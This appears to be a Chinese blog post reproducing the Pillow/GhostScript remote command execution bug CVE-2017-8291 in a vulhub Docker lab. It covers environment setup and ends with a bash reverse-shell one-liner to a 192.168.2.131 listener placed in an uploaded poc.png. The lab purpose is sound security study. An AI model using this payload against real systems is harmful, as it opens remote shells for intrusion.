title: Python PIL 远程命令执行漏洞(GhostButt )(CVE-2017-8291)
tags:
- 漏洞复现
data: 2022-9-12
categories:
- python
漏洞描述
python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。PIL内部根据图片头来判断图片类型,如果发现是一个eps文件,则分发给PIL/EpsImagePlugin.py处理。如果操作系统上安装了GhostScript就会因为它的一个沙盒绕过漏洞,导致任意命令执行。
kali 环境配置
安装https协议、CA证书、dirmngr
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
添加GPG密钥并添加更新源
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list
系统更新以及安装docker
apt-get update&&apt install docker-ce
启动docker服务器 和compose
service docker start || apt install docker-compose
下载安装vulhub
git clone https://github.com/vulhub/vulhub.git
漏洞复现
启动环境
docker-compose up -d
初始化完成后 访问 ip:端口号
在docker cve漏洞下有poc.png 上传,在目录下查看创建aaaaa文件
更改图片文件内容
bash –c "bash –i >& /dev/tcp/192.168.2.131/1234 0>&1"
nc监听,再次上传poc.png